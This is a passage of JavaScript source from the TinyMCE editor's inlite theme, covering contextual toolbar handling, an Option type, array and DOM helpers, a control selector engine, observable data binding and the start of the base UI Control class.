    };
    var getToolbars = function (editor) {
      var contextToolbars = editor.contextToolbars;
      return DeepFlatten.flatten([
        contextToolbars ? contextToolbars : [],
        createToolbar(editor, 'img', 'image', 'alignleft aligncenter alignright')
      ]);
    };
    var findMatchResult = function (editor, toolbars) {
      var result, elements, contextToolbarsPredicateIds;
      elements = getSelectionElements(editor);
      contextToolbarsPredicateIds = PredicateId.fromContextToolbars(toolbars);
      result = Matcher.match(editor, [
        ElementMatcher.element(elements[0], contextToolbarsPredicateIds),
        SelectionMatcher.textSelection('text'),
        SelectionMatcher.emptyTextBlock(elements, 'insert'),
        ElementMatcher.parent(elements, contextToolbarsPredicateIds)
      ]);
      return result && result.rect ? result : null;
    };
    var editorHasFocus = function (editor) {
      return domGlobals.document.activeElement === editor.getBody();
    };
    var togglePanel = function (editor, panel) {
      var toggle = function () {
        var toolbars = getToolbars(editor);
        var result = findMatchResult(editor, toolbars);
        if (result) {
          panel.show(editor, result.id, result.rect, toolbars);
        } else {
          panel.hide();
        }
      };
      return function () {
        if (!editor.removed && editorHasFocus(editor)) {
          toggle();
        }
      };
    };
    var repositionPanel = function (editor, panel) {
      return function () {
        var toolbars = getToolbars(editor);
        var result = findMatchResult(editor, toolbars);
        if (result) {
          panel.reposition(editor, result.id, result.rect);
        }
      };
    };
    var ignoreWhenFormIsVisible = function (editor, panel, f) {
      return function () {
        if (!editor.removed && !panel.inForm()) {
          f();
        }
      };
    };
    var bindContextualToolbarsEvents = function (editor, panel) {
      var throttledTogglePanel = global$3.throttle(togglePanel(editor, panel), 0);
      var throttledTogglePanelWhenNotInForm = global$3.throttle(ignoreWhenFormIsVisible(editor, panel, togglePanel(editor, panel)), 0);
      var reposition = repositionPanel(editor, panel);
      editor.on('blur hide ObjectResizeStart', panel.hide);
      editor.on('click', throttledTogglePanel);
      editor.on('nodeChange mouseup', throttledTogglePanelWhenNotInForm);
      editor.on('ResizeEditor keyup', throttledTogglePanel);
      editor.on('ResizeWindow', reposition);
      global$2.DOM.bind(global$1.container, 'scroll', reposition);
      editor.on('remove', function () {
        global$2.DOM.unbind(global$1.container, 'scroll', reposition);
        panel.remove();
      });
      editor.shortcuts.add('Alt+F10,F10', '', panel.focus);
    };
    var overrideLinkShortcut = function (editor, panel) {
      editor.shortcuts.remove('meta+k');
      editor.shortcuts.add('meta+k', '', function () {
        var toolbars = getToolbars(editor);
        var result = Matcher.match(editor, [SelectionMatcher.textSelection('quicklink')]);
        if (result) {
          panel.show(editor, result.id, result.rect, toolbars);
        }
      });
    };
    var renderInlineUI = function (editor, panel) {
      SkinLoader.load(editor, function () {
        bindContextualToolbarsEvents(editor, panel);
        overrideLinkShortcut(editor, panel);
      });
      return {};
    };
    var fail = function (message) {
      throw new Error(message);
    };
    var renderUI = function (editor, panel) {
      return editor.inline ? renderInlineUI(editor, panel) : fail('inlite theme only supports inline mode.');
    };
    var Render = { renderUI: renderUI };

    var noop = function () {
    };
    var constant = function (value) {
      return function () {
        return value;
      };
    };
    var never = constant(false);
    var always = constant(true);

    var none = function () {
      return NONE;
    };
    var NONE = function () {
      var eq = function (o) {
        return o.isNone();
      };
      var call = function (thunk) {
        return thunk();
      };
      var id = function (n) {
        return n;
      };
      var me = {
        fold: function (n, s) {
          return n();
        },
        is: never,
        isSome: never,
        isNone: always,
        getOr: id,
        getOrThunk: call,
        getOrDie: function (msg) {
          throw new Error(msg || 'error: getOrDie called on none.');
        },
        getOrNull: constant(null),
        getOrUndefined: constant(undefined),
        or: id,
        orThunk: call,
        map: none,
        each: noop,
        bind: none,
        exists: never,
        forall: always,
        filter: none,
        equals: eq,
        equals_: eq,
        toArray: function () {
          return [];
        },
        toString: constant('none()')
      };
      if (Object.freeze) {
        Object.freeze(me);
      }
      return me;
    }();
    var some = function (a) {
      var constant_a = constant(a);
      var self = function () {
        return me;
      };
      var bind = function (f) {
        return f(a);
      };
      var me = {
        fold: function (n, s) {
          return s(a);
        },
        is: function (v) {
          return a === v;
        },
        isSome: always,
        isNone: never,
        getOr: constant_a,
        getOrThunk: constant_a,
        getOrDie: constant_a,
        getOrNull: constant_a,
        getOrUndefined: constant_a,
        or: self,
        orThunk: self,
        map: function (f) {
          return some(f(a));
        },
        each: function (f) {
          f(a);
        },
        bind: bind,
        exists: bind,
        forall: bind,
        filter: function (f) {
          return f(a) ? me : NONE;
        },
        toArray: function () {
          return [a];
        },
        toString: function () {
          return 'some(' + a + ')';
        },
        equals: function (o) {
          return o.is(a);
        },
        equals_: function (o, elementEq) {
          return o.fold(never, function (b) {
            return elementEq(a, b);
          });
        }
      };
      return me;
    };
    var from = function (value) {
      return value === null || value === undefined ? NONE : some(value);
    };
    var Option = {
      some: some,
      none: none,
      from: from
    };

    var typeOf = function (x) {
      if (x === null) {
        return 'null';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isType$1 = function (type) {
      return function (value) {
        return typeOf(value) === type;
      };
    };
    var isArray$1 = isType$1('array');
    var isFunction$1 = isType$1('function');
    var isNumber$1 = isType$1('number');

    var nativeSlice = Array.prototype.slice;
    var nativeIndexOf = Array.prototype.indexOf;
    var nativePush = Array.prototype.push;
    var rawIndexOf = function (ts, t) {
      return nativeIndexOf.call(ts, t);
    };
    var indexOf = function (xs, x) {
      var r = rawIndexOf(xs, x);
      return r === -1 ? Option.none() : Option.some(r);
    };
    var exists = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    var map = function (xs, f) {
      var len = xs.length;
      var r = new Array(len);
      for (var i = 0; i < len; i++) {
        var x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    var each = function (xs, f) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        f(x, i);
      }
    };
    var filter = function (xs, pred) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    var foldl = function (xs, f, acc) {
      each(xs, function (x) {
        acc = f(acc, x);
      });
      return acc;
    };
    var find = function (xs, pred) {
      for (var i = 0, len = xs.length; i < len; i++) {
        var x = xs[i];
        if (pred(x, i)) {
          return Option.some(x);
        }
      }
      return Option.none();
    };
    var flatten$1 = function (xs) {
      var r = [];
      for (var i = 0, len = xs.length; i < len; ++i) {
        if (!isArray$1(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    var from$1 = isFunction$1(Array.from) ? Array.from : function (x) {
      return nativeSlice.call(x);
    };

    var count = 0;
    var funcs = {
      id: function () {
        return 'mceu_' + count++;
      },
      create: function (name, attrs, children) {
        var elm = domGlobals.document.createElement(name);
        global$2.DOM.setAttribs(elm, attrs);
        if (typeof children === 'string') {
          elm.innerHTML = children;
        } else {
          global$4.each(children, function (child) {
            if (child.nodeType) {
              elm.appendChild(child);
            }
          });
        }
        return elm;
      },
      createFragment: function (html) {
        return global$2.DOM.createFragment(html);
      },
      getWindowSize: function () {
        return global$2.DOM.getViewPort();
      },
      getSize: function (elm) {
        var width, height;
        if (elm.getBoundingClientRect) {
          var rect = elm.getBoundingClientRect();
          width = Math.max(rect.width || rect.right - rect.left, elm.offsetWidth);
          height = Math.max(rect.height || rect.bottom - rect.bottom, elm.offsetHeight);
        } else {
          width = elm.offsetWidth;
          height = elm.offsetHeight;
        }
        return {
          width: width,
          height: height
        };
      },
      getPos: function (elm, root) {
        return global$2.DOM.getPos(elm, root || funcs.getContainer());
      },
      getContainer: function () {
        return global$1.container ? global$1.container : domGlobals.document.body;
      },
      getViewPort: function (win) {
        return global$2.DOM.getViewPort(win);
      },
      get: function (id) {
        return domGlobals.document.getElementById(id);
      },
      addClass: function (elm, cls) {
        return global$2.DOM.addClass(elm, cls);
      },
      removeClass: function (elm, cls) {
        return global$2.DOM.removeClass(elm, cls);
      },
      hasClass: function (elm, cls) {
        return global$2.DOM.hasClass(elm, cls);
      },
      toggleClass: function (elm, cls, state) {
        return global$2.DOM.toggleClass(elm, cls, state);
      },
      css: function (elm, name, value) {
        return global$2.DOM.setStyle(elm, name, value);
      },
      getRuntimeStyle: function (elm, name) {
        return global$2.DOM.getStyle(elm, name, true);
      },
      on: function (target, name, callback, scope) {
        return global$2.DOM.bind(target, name, callback, scope);
      },
      off: function (target, name, callback) {
        return global$2.DOM.unbind(target, name, callback);
      },
      fire: function (target, name, args) {
        return global$2.DOM.fire(target, name, args);
      },
      innerHtml: function (elm, html) {
        global$2.DOM.setHTML(elm, html);
      }
    };

    var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');

    var global$8 = tinymce.util.Tools.resolve('tinymce.util.Class');

    var global$9 = tinymce.util.Tools.resolve('tinymce.util.EventDispatcher');

    var BoxUtils = {
      parseBox: function (value) {
        var len;
        var radix = 10;
        if (!value) {
          return;
        }
        if (typeof value === 'number') {
          value = value || 0;
          return {
            top: value,
            left: value,
            bottom: value,
            right: value
          };
        }
        value = value.split(' ');
        len = value.length;
        if (len === 1) {
          value[1] = value[2] = value[3] = value[0];
        } else if (len === 2) {
          value[2] = value[0];
          value[3] = value[1];
        } else if (len === 3) {
          value[3] = value[1];
        }
        return {
          top: parseInt(value[0], radix) || 0,
          right: parseInt(value[1], radix) || 0,
          bottom: parseInt(value[2], radix) || 0,
          left: parseInt(value[3], radix) || 0
        };
      },
      measureBox: function (elm, prefix) {
        function getStyle(name) {
          var defaultView = elm.ownerDocument.defaultView;
          if (defaultView) {
            var computedStyle = defaultView.getComputedStyle(elm, null);
            if (computedStyle) {
              name = name.replace(/[A-Z]/g, function (a) {
                return '-' + a;
              });
              return computedStyle.getPropertyValue(name);
            } else {
              return null;
            }
          }
          return elm.currentStyle[name];
        }
        function getSide(name) {
          var val = parseFloat(getStyle(name));
          return isNaN(val) ? 0 : val;
        }
        return {
          top: getSide(prefix + 'TopWidth'),
          right: getSide(prefix + 'RightWidth'),
          bottom: getSide(prefix + 'BottomWidth'),
          left: getSide(prefix + 'LeftWidth')
        };
      }
    };

    function noop$1() {
    }
    function ClassList(onchange) {
      this.cls = [];
      this.cls._map = {};
      this.onchange = onchange || noop$1;
      this.prefix = '';
    }
    global$4.extend(ClassList.prototype, {
      add: function (cls) {
        if (cls && !this.contains(cls)) {
          this.cls._map[cls] = true;
          this.cls.push(cls);
          this._change();
        }
        return this;
      },
      remove: function (cls) {
        if (this.contains(cls)) {
          var i = void 0;
          for (i = 0; i < this.cls.length; i++) {
            if (this.cls[i] === cls) {
              break;
            }
          }
          this.cls.splice(i, 1);
          delete this.cls._map[cls];
          this._change();
        }
        return this;
      },
      toggle: function (cls, state) {
        var curState = this.contains(cls);
        if (curState !== state) {
          if (curState) {
            this.remove(cls);
          } else {
            this.add(cls);
          }
          this._change();
        }
        return this;
      },
      contains: function (cls) {
        return !!this.cls._map[cls];
      },
      _change: function () {
        delete this.clsValue;
        this.onchange.call(this);
      }
    });
    ClassList.prototype.toString = function () {
      var value;
      if (this.clsValue) {
        return this.clsValue;
      }
      value = '';
      for (var i = 0; i < this.cls.length; i++) {
        if (i > 0) {
          value += ' ';
        }
        value += this.prefix + this.cls[i];
      }
      return value;
    };

    function unique(array) {
      var uniqueItems = [];
      var i = array.length, item;
      while (i--) {
        item = array[i];
        if (!item.__checked) {
          uniqueItems.push(item);
          item.__checked = 1;
        }
      }
      i = uniqueItems.length;
      while (i--) {
        delete uniqueItems[i].__checked;
      }
      return uniqueItems;
    }
    var expression = /^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i;
    var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;
    var whiteSpace = /^\s*|\s*$/g;
    var Collection;
    var Selector = global$8.extend({
      init: function (selector) {
        var match = this.match;
        function compileNameFilter(name) {
          if (name) {
            name = name.toLowerCase();
            return function (item) {
              return name === '*' || item.type === name;
            };
          }
        }
        function compileIdFilter(id) {
          if (id) {
            return function (item) {
              return item._name === id;
            };
          }
        }
        function compileClassesFilter(classes) {
          if (classes) {
            classes = classes.split('.');
            return function (item) {
              var i = classes.length;
              while (i--) {
                if (!item.classes.contains(classes[i])) {
                  return false;
                }
              }
              return true;
            };
          }
        }
        function compileAttrFilter(name, cmp, check) {
          if (name) {
            return function (item) {
              var value = item[name] ? item[name]() : '';
              return !cmp ? !!check : cmp === '=' ? value === check : cmp === '*=' ? value.indexOf(check) >= 0 : cmp === '~=' ? (' ' + value + ' ').indexOf(' ' + check + ' ') >= 0 : cmp === '!=' ? value !== check : cmp === '^=' ? value.indexOf(check) === 0 : cmp === '$=' ? value.substr(value.length - check.length) === check : false;
            };
          }
        }
        function compilePsuedoFilter(name) {
          var notSelectors;
          if (name) {
            name = /(?:not\((.+)\))|(.+)/i.exec(name);
            if (!name[1]) {
              name = name[2];
              return function (item, index, length) {
                return name === 'first' ? index === 0 : name === 'last' ? index === length - 1 : name === 'even' ? index % 2 === 0 : name === 'odd' ? index % 2 === 1 : item[name] ? item[name]() : false;
              };
            }
            notSelectors = parseChunks(name[1], []);
            return function (item) {
              return !match(item, notSelectors);
            };
          }
        }
        function compile(selector, filters, direct) {
          var parts;
          function add(filter) {
            if (filter) {
              filters.push(filter);
            }
          }
          parts = expression.exec(selector.replace(whiteSpace, ''));
          add(compileNameFilter(parts[1]));
          add(compileIdFilter(parts[2]));
          add(compileClassesFilter(parts[3]));
          add(compileAttrFilter(parts[4], parts[5], parts[6]));
          add(compilePsuedoFilter(parts[7]));
          filters.pseudo = !!parts[7];
          filters.direct = direct;
          return filters;
        }
        function parseChunks(selector, selectors) {
          var parts = [];
          var extra, matches, i;
          do {
            chunker.exec('');
            matches = chunker.exec(selector);
            if (matches) {
              selector = matches[3];
              parts.push(matches[1]);
              if (matches[2]) {
                extra = matches[3];
                break;
              }
            }
          } while (matches);
          if (extra) {
            parseChunks(extra, selectors);
          }
          selector = [];
          for (i = 0; i < parts.length; i++) {
            if (parts[i] !== '>') {
              selector.push(compile(parts[i], [], parts[i - 1] === '>'));
            }
          }
          selectors.push(selector);
          return selectors;
        }
        this._selectors = parseChunks(selector, []);
      },
      match: function (control, selectors) {
        var i, l, si, sl, selector, fi, fl, filters, index, length, siblings, count, item;
        selectors = selectors || this._selectors;
        for (i = 0, l = selectors.length; i < l; i++) {
          selector = selectors[i];
          sl = selector.length;
          item = control;
          count = 0;
          for (si = sl - 1; si >= 0; si--) {
            filters = selector[si];
            while (item) {
              if (filters.pseudo) {
                siblings = item.parent().items();
                index = length = siblings.length;
                while (index--) {
                  if (siblings[index] === item) {
                    break;
                  }
                }
              }
              for (fi = 0, fl = filters.length; fi < fl; fi++) {
                if (!filters[fi](item, index, length)) {
                  fi = fl + 1;
                  break;
                }
              }
              if (fi === fl) {
                count++;
                break;
              } else {
                if (si === sl - 1) {
                  break;
                }
              }
              item = item.parent();
            }
          }
          if (count === sl) {
            return true;
          }
        }
        return false;
      },
      find: function (container) {
        var matches = [], i, l;
        var selectors = this._selectors;
        function collect(items, selector, index) {
          var i, l, fi, fl, item;
          var filters = selector[index];
          for (i = 0, l = items.length; i < l; i++) {
            item = items[i];
            for (fi = 0, fl = filters.length; fi < fl; fi++) {
              if (!filters[fi](item, i, l)) {
                fi = fl + 1;
                break;
              }
            }
            if (fi === fl) {
              if (index === selector.length - 1) {
                matches.push(item);
              } else {
                if (item.items) {
                  collect(item.items(), selector, index + 1);
                }
              }
            } else if (filters.direct) {
              return;
            }
            if (item.items) {
              collect(item.items(), selector, index);
            }
          }
        }
        if (container.items) {
          for (i = 0, l = selectors.length; i < l; i++) {
            collect(container.items(), selectors[i], 0);
          }
          if (l > 1) {
            matches = unique(matches);
          }
        }
        if (!Collection) {
          Collection = Selector.Collection;
        }
        return new Collection(matches);
      }
    });

    var Collection$1, proto;
    var push = Array.prototype.push, slice = Array.prototype.slice;
    proto = {
      length: 0,
      init: function (items) {
        if (items) {
          this.add(items);
        }
      },
      add: function (items) {
        var self = this;
        if (!global$4.isArray(items)) {
          if (items instanceof Collection$1) {
            self.add(items.toArray());
          } else {
            push.call(self, items);
          }
        } else {
          push.apply(self, items);
        }
        return self;
      },
      set: function (items) {
        var self = this;
        var len = self.length;
        var i;
        self.length = 0;
        self.add(items);
        for (i = self.length; i < len; i++) {
          delete self[i];
        }
        return self;
      },
      filter: function (selector) {
        var self = this;
        var i, l;
        var matches = [];
        var item, match;
        if (typeof selector === 'string') {
          selector = new Selector(selector);
          match = function (item) {
            return selector.match(item);
          };
        } else {
          match = selector;
        }
        for (i = 0, l = self.length; i < l; i++) {
          item = self[i];
          if (match(item)) {
            matches.push(item);
          }
        }
        return new Collection$1(matches);
      },
      slice: function () {
        return new Collection$1(slice.apply(this, arguments));
      },
      eq: function (index) {
        return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
      },
      each: function (callback) {
        global$4.each(this, callback);
        return this;
      },
      toArray: function () {
        return global$4.toArray(this);
      },
      indexOf: function (ctrl) {
        var self = this;
        var i = self.length;
        while (i--) {
          if (self[i] === ctrl) {
            break;
          }
        }
        return i;
      },
      reverse: function () {
        return new Collection$1(global$4.toArray(this).reverse());
      },
      hasClass: function (cls) {
        return this[0] ? this[0].classes.contains(cls) : false;
      },
      prop: function (name, value) {
        var self = this;
        var item;
        if (value !== undefined) {
          self.each(function (item) {
            if (item[name]) {
              item[name](value);
            }
          });
          return self;
        }
        item = self[0];
        if (item && item[name]) {
          return item[name]();
        }
      },
      exec: function (name) {
        var self = this, args = global$4.toArray(arguments).slice(1);
        self.each(function (item) {
          if (item[name]) {
            item[name].apply(item, args);
          }
        });
        return self;
      },
      remove: function () {
        var i = this.length;
        while (i--) {
          this[i].remove();
        }
        return this;
      },
      addClass: function (cls) {
        return this.each(function (item) {
          item.classes.add(cls);
        });
      },
      removeClass: function (cls) {
        return this.each(function (item) {
          item.classes.remove(cls);
        });
      }
    };
    global$4.each('fire on off show hide append prepend before after reflow'.split(' '), function (name) {
      proto[name] = function () {
        var args = global$4.toArray(arguments);
        this.each(function (ctrl) {
          if (name in ctrl) {
            ctrl[name].apply(ctrl, args);
          }
        });
        return this;
      };
    });
    global$4.each('text name disabled active selected checked visible parent value data'.split(' '), function (name) {
      proto[name] = function (value) {
        return this.prop(name, value);
      };
    });
    Collection$1 = global$8.extend(proto);
    Selector.Collection = Collection$1;
    var Collection$2 = Collection$1;

    var Binding = function (settings) {
      this.create = settings.create;
    };
    Binding.create = function (model, name) {
      return new Binding({
        create: function (otherModel, otherName) {
          var bindings;
          var fromSelfToOther = function (e) {
            otherModel.set(otherName, e.value);
          };
          var fromOtherToSelf = function (e) {
            model.set(name, e.value);
          };
          otherModel.on('change:' + otherName, fromOtherToSelf);
          model.on('change:' + name, fromSelfToOther);
          bindings = otherModel._bindings;
          if (!bindings) {
            bindings = otherModel._bindings = [];
            otherModel.on('destroy', function () {
              var i = bindings.length;
              while (i--) {
                bindings[i]();
              }
            });
          }
          bindings.push(function () {
            model.off('change:' + name, fromSelfToOther);
          });
          return model.get(name);
        }
      });
    };

    var global$a = tinymce.util.Tools.resolve('tinymce.util.Observable');

    function isNode(node) {
      return node.nodeType > 0;
    }
    function isEqual(a, b) {
      var k, checked;
      if (a === b) {
        return true;
      }
      if (a === null || b === null) {
        return a === b;
      }
      if (typeof a !== 'object' || typeof b !== 'object') {
        return a === b;
      }
      if (global$4.isArray(b)) {
        if (a.length !== b.length) {
          return false;
        }
        k = a.length;
        while (k--) {
          if (!isEqual(a[k], b[k])) {
            return false;
          }
        }
      }
      if (isNode(a) || isNode(b)) {
        return a === b;
      }
      checked = {};
      for (k in b) {
        if (!isEqual(a[k], b[k])) {
          return false;
        }
        checked[k] = true;
      }
      for (k in a) {
        if (!checked[k] && !isEqual(a[k], b[k])) {
          return false;
        }
      }
      return true;
    }
    var ObservableObject = global$8.extend({
      Mixins: [global$a],
      init: function (data) {
        var name, value;
        data = data || {};
        for (name in data) {
          value = data[name];
          if (value instanceof Binding) {
            data[name] = value.create(this, name);
          }
        }
        this.data = data;
      },
      set: function (name, value) {
        var key, args;
        var oldValue = this.data[name];
        if (value instanceof Binding) {
          value = value.create(this, name);
        }
        if (typeof name === 'object') {
          for (key in name) {
            this.set(key, name[key]);
          }
          return this;
        }
        if (!isEqual(oldValue, value)) {
          this.data[name] = value;
          args = {
            target: this,
            name: name,
            value: value,
            oldValue: oldValue
          };
          this.fire('change:' + name, args);
          this.fire('change', args);
        }
        return this;
      },
      get: function (name) {
        return this.data[name];
      },
      has: function (name) {
        return name in this.data;
      },
      bind: function (name) {
        return Binding.create(this, name);
      },
      destroy: function () {
        this.fire('destroy');
      }
    });

    var dirtyCtrls = {}, animationFrameRequested;
    var ReflowQueue = {
      add: function (ctrl) {
        var parent = ctrl.parent();
        if (parent) {
          if (!parent._layout || parent._layout.isNative()) {
            return;
          }
          if (!dirtyCtrls[parent._id]) {
            dirtyCtrls[parent._id] = parent;
          }
          if (!animationFrameRequested) {
            animationFrameRequested = true;
            global$3.requestAnimationFrame(function () {
              var id, ctrl;
              animationFrameRequested = false;
              for (id in dirtyCtrls) {
                ctrl = dirtyCtrls[id];
                if (ctrl.state.get('rendered')) {
                  ctrl.reflow();
                }
              }
              dirtyCtrls = {};
            }, domGlobals.document.body);
          }
        }
      },
      remove: function (ctrl) {
        if (dirtyCtrls[ctrl._id]) {
          delete dirtyCtrls[ctrl._id];
        }
      }
    };

    var getUiContainerDelta = function (ctrl) {
      var uiContainer = getUiContainer(ctrl);
      if (uiContainer && global$2.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
        var containerPos = global$2.DOM.getPos(uiContainer);
        var dx = uiContainer.scrollLeft - containerPos.x;
        var dy = uiContainer.scrollTop - containerPos.y;
        return Option.some({
          x: dx,
          y: dy
        });
      } else {
        return Option.none();
      }
    };
    var setUiContainer = function (editor, ctrl) {
      var uiContainer = global$2.DOM.select(editor.settings.ui_container)[0];
      ctrl.getRoot().uiContainer = uiContainer;
    };
    var getUiContainer = function (ctrl) {
      return ctrl ? ctrl.getRoot().uiContainer : null;
    };
    var inheritUiContainer = function (fromCtrl, toCtrl) {
      return toCtrl.uiContainer = getUiContainer(fromCtrl);
    };
    var UiContainer = {
      getUiContainerDelta: getUiContainerDelta,
      setUiContainer: setUiContainer,
      getUiContainer: getUiContainer,
      inheritUiContainer: inheritUiContainer
    };

    var hasMouseWheelEventSupport = 'onmousewheel' in domGlobals.document;
    var hasWheelEventSupport = false;
    var classPrefix = 'mce-';
    var Control, idCounter = 0;
    var proto$1 = {
      Statics: { classPrefix: classPrefix },
      isRtl: function () {
        return Control.rtl;
      },
      classPrefix: classPrefix,
      init: function (settings) {
        var self = this;
        var classes, defaultClasses;
        function applyClasses(classes) {
          var i;
          classes = classes.split(' ');
          for (i = 0; i < classes.length; i++) {
            self.classes.add(classes[i]);
          }
        }
        self.settings = settings = global$4.extend({}, self.Defaults, settings);
        self._id = settings.id || 'mceu_' + idCounter++;
        self._aria = { role: settings.role };
        self._elmCache = {};
        self.$ = global$7;
        self.state = new ObservableObject({
          visible: true,
          active: false,
          disabled: false,
          value: ''
        });
        self.data = new ObservableObject(settings.data);
        self.classes = new ClassList(function () {
          if (self.state.get('rendered')) {
            self.getEl().className = this.toString();
          }
        });
        self.classes.prefix = self.classPrefix;
        classes = settings.classes;
        if (classes) {
          if (self.Defaults) {
            defaultClasses = self.Defaults.classes;
            if (defaultClasses && classes !== defaultClasses) {
              applyClasses(defaultClasses);
            }
          }
          applyClasses(classes);
        }
        global$4.each('title text name visible disabled active value'.split(' '), function (name) {
          if (name in settings) {
            self[name](settings[name]);
          }
        });
        self.on('click', function () {
          if (self.disabled()) {
            return false;
          }
        });
        self.settings = settings;
        self.borderBox = BoxUtils.parseBox(settings.border);
        self.paddingBox = BoxUtils.parseBox(settings.padding);
        self.marginBox = BoxUtils.parseBox(settings.margin);
        if (settings.hidden) {
          self.hide();
        }
      },
      Properties: 'parent,name',
      getContainerElm: function () {
        var uiContainer = UiContainer.getUiContainer(this);
        return uiContainer ? uiContainer : funcs.getContainer();
      },
      getParentCtrl: function (elm) {
        var ctrl;
        var lookup = this.getRoot().controlIdLookup;
        while (elm && lookup) {
          ctrl = lookup[elm.id];
          if (ctrl) {
            break;
          }
          elm = elm.parentNode;
        }
        return ctrl;
      },
      initLayoutRect: function () {
        var self = this;
        var settings = self.settings;
        var borderBox, layoutRect;
        var elm = self.getEl();
        var width, height, minWidth, minHeight, autoResize;
        var startMinWidth, startMinHeight, initialSize;
        borderBox = self.borderBox = self.borderBox || BoxUtils.measureBox(elm, 'border');
        self.paddingBox = self.paddingBox || BoxUtils.measureBox(elm, 'padding');
        self.marginBox = self.marginBox || BoxUtils.measureBox(elm, 'margin');
        initialSize = funcs.getSize(elm);
        startMinWidth = settings.minWidth;
        startMinHeight = settings.minHeight;
        minWidth = startMinWidth || initialSize.width;
        minHeight = startMinHeight || initialSize.height;
        width = settings.width;
        height = settings.height;
        autoResize = settings.autoResize;
        autoResize = typeof autoResize !== 'undefined' ? autoResize : !width && !height;
        width = width || minWidth;
        height = height || minHeight;
        var deltaW = borderBox.left + borderBox.right;
        var deltaH = borderBox.top + borderBox.bottom;
        var maxW = settings.maxWidth || 65535;
        var maxH = settings.maxHeight || 65535;
        self._layoutRect = layoutRect = {
          x: settings.x || 0,
          y: settings.y || 0,
          w: width,
          h: height,
          deltaW: deltaW,
          deltaH: deltaH,
          contentW: width - deltaW,
          contentH: height - deltaH,
          innerW: width - deltaW,
          innerH: height - deltaH,
          startMinWidth: startMinWidth || 0,
          startMinHeight: startMinHeight || 0,
          minW: Math.min(minWidth, maxW),
          minH: Math.min(minHeight, maxH),
          maxW: maxW,
          maxH: maxH,
          autoResize: autoResize,
          scrollW: 0
        };
        self._lastLayoutRect = {};
        return layoutRect;
      },
      layoutRect: function (newRect) {
        var self = this;
        var curRect = self._layoutRect, lastLayoutRect, size, deltaWidth, deltaHeight, repaintControls;
        if (!curRect) {
          curRect = self.initLayoutRect();
        }
        if (newRect) {
          deltaWidth = curRect.deltaW;
          deltaHeight = curRect.deltaH;
          if (newRect.x !== undefined) {
            curRect.x = newRect.x;
          }
          if (newRect.y !== undefined) {
            curRect.y = newRect.y;
          }
          if (newRect.minW !== undefined) {
            curRect.minW = newRect.minW;
          }
          if (newRect.minH !== undefined) {
            curRect.minH = newRect.minH;
          }
          size = newRect.w;
          if (size !== undefined) {
            size = size < curRect.minW ? curRect.minW : size;
            size = size > curRect.maxW ? curRect.maxW : size;
            curRect.w = size;
            curRect.innerW = size - deltaWidth;
          }
          size = newRect.h;
          if (size !== undefined) {
            size = size < curRect.minH ? curRect.minH : size;
            size = size > curRect.maxH ? curRect.maxH : size;
            curRect.h = size;
            curRect.innerH = size - deltaHeight;
          }
          size = newRect.innerW;
          if (size !== undefined) {
            size = size < curRect.minW - deltaWidth ? curRect.minW - deltaWidth : size;
            size = size > curRect.maxW - deltaWidth ? curRect.maxW - deltaWidth : size;
            curRect.innerW = size;
            curRect.w = size + deltaWidth;
          }
          size = newRect.innerH;
          if (size !== undefined) {
            size = size < curRect.minH - deltaHeight ? curRect.minH - deltaHeight : size;
            size = size > curRect.maxH - deltaHeight ? curRect.maxH - deltaHeight : size;
            curRect.innerH = size;
            curRect.h = size + deltaHeight;
          }
          if (newRect.contentW !== undefined) {
            curRect.contentW = newRect.contentW;
          }
          if (newRect.contentH !== undefined) {
            curRect.contentH = newRect.contentH;
          }
          lastLayoutRect = self._lastLayoutRect;
          if (lastLayoutRect.x !== curRect.x || lastLayoutRect.y !== curRect.y || lastLayoutRect.w !== curRect.w || lastLayoutRect.h !== curRect.h) {
            repaintControls = Control.repaintControls;
            if (repaintControls) {
              if (repaintControls.map && !repaintControls.map[self._id]) {
                repaintControls.push(self);
                repaintControls.map[self._id] = true;
              }
            }
            lastLayoutRect.x = curRect.x;
            lastLayoutRect.y = curRect.y;
            lastLayoutRect.w = curRect.w;
            lastLayoutRect.h = curRect.h;
          }
          return self;
        }
        return curRect;
      },
      repaint: function () {
        var self = this;
        var style, bodyStyle, bodyElm, rect, borderBox;
        var borderW, borderH, lastRepaintRect, round, value;
        round = !domGlobals.document.createRange ? Math.round : function (value) {
          return value;
        };
        style = self.getEl().style;
        rect = self._layoutRect;
        lastRepaintRect = self._lastRepaintRect || {};
        borderBox = self.borderBox;
        borderW = borderBox.left + borderBox.right;
        borderH = borderBox.top + borderBox.bottom;
        if (rect.x !== lastRepaintRect.x) {
          style.left = round(rect.x) + 'px';
          lastRepaintRect.x = rect.x;
        }
        if (rect.y !== lastRepaintRect.y) {
          style.top = round(rect.y) + 'px';
          lastRepaintRect.y = rect.y;
        }
        if (rect.w !== lastRepaintRect.w) {
          value = round(rect.w - borderW);
          style.width = (value >= 0 ? value : 0) + 'px';
          lastRepaintRect.w = rect.w;
        }
        if (rect.h !== lastRepaintRect.h) {
          value = round(rect.h - borderH);
          style.height = (value >= 0 ? value : 0) + 'px';
          lastRepaintRect.h = rect.h;
        }
        if (self._hasBody && rect.innerW !== lastRepaintRect.innerW) {
          value = round(rect.innerW);
          bodyElm = self.getEl('body');
          if (bodyElm) {
